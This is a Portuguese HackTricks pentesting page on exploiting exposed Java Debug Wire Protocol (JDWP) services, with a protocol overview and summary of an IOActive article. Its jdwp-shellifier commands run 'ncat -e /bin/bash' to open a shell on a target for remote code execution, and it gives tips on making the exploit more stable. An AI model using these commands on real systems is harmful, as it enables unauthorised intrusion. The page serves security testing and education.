Pentesting JDWP - Java Debug Wire Protocol

Aprenda a hackear a AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Exploração

A exploração do JDWP depende da falta de autenticação e criptografia do protocolo. Geralmente é encontrado na porta 8000, mas outras portas são possíveis. A conexão inicial é feita enviando um "JDWP-Handshake" para a porta de destino. Se um serviço JDWP estiver ativo, ele responde com a mesma string, confirmando sua presença. Esse handshake atua como um método de identificação para identificar serviços JDWP na rede.

Em termos de identificação de processos, a busca pela string "jdwk" em processos Java pode indicar uma sessão JDWP ativa.

A ferramenta padrão é jdwp-shellifier. Você pode usá-lo com diferentes parâmetros:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Encontrei que o uso de --break-on 'java.lang.String.indexOf' torna o exploit mais estável. E se você tiver a oportunidade de fazer upload de um backdoor para o host e executá-lo em vez de executar um comando, o exploit será ainda mais estável.

Mais detalhes

Este é um resumo de https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Consulte para mais detalhes.

  1. Visão Geral do JDWP:

  • É um protocolo binário de rede baseado em pacotes, principalmente síncrono.

  • Falta autenticação e criptografia, tornando-o vulnerável quando exposto a redes hostis.

  1. Handshake do JDWP:

  • Um processo de handshake simples é usado para iniciar a comunicação. Uma string ASCII de 14 caracteres "JDWP-Handshake" é trocada entre o Depurador (cliente) e o Debuggee (servidor).

  1. Comunicação do JDWP:

  • As mensagens têm uma estrutura simples com campos como Comprimento, Id, Sinalizador e Conjunto de Comandos.

  • Os valores do Conjunto de Comandos variam de 0x40 a 0x80, representando diferentes ações e eventos.

  1. Exploração:

  • O JDWP permite carregar e invocar classes e bytecode arbitrários, representando riscos de segurança.

  • O artigo detalha um processo de exploração em cinco etapas, envolvendo a obtenção de referências do Tempo de Execução do Java, definição de pontos de interrupção e invocação de métodos.

  1. Exploração na Vida Real:

  • Apesar das potenciais proteções de firewall, os serviços JDWP são descobríveis e exploráveis em cenários do mundo real, conforme demonstrado por pesquisas em plataformas como ShodanHQ e GitHub.

  • O script de exploit foi testado em várias versões do JDK e é independente de plataforma, oferecendo Execução Remota de Código (RCE) confiável.

  1. Implicações de Segurança:

  • A presença de serviços JDWP abertos na internet destaca a necessidade de revisões de segurança regulares, desativação de funcionalidades de depuração em produção e configurações adequadas de firewall.

Referências:

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Last updated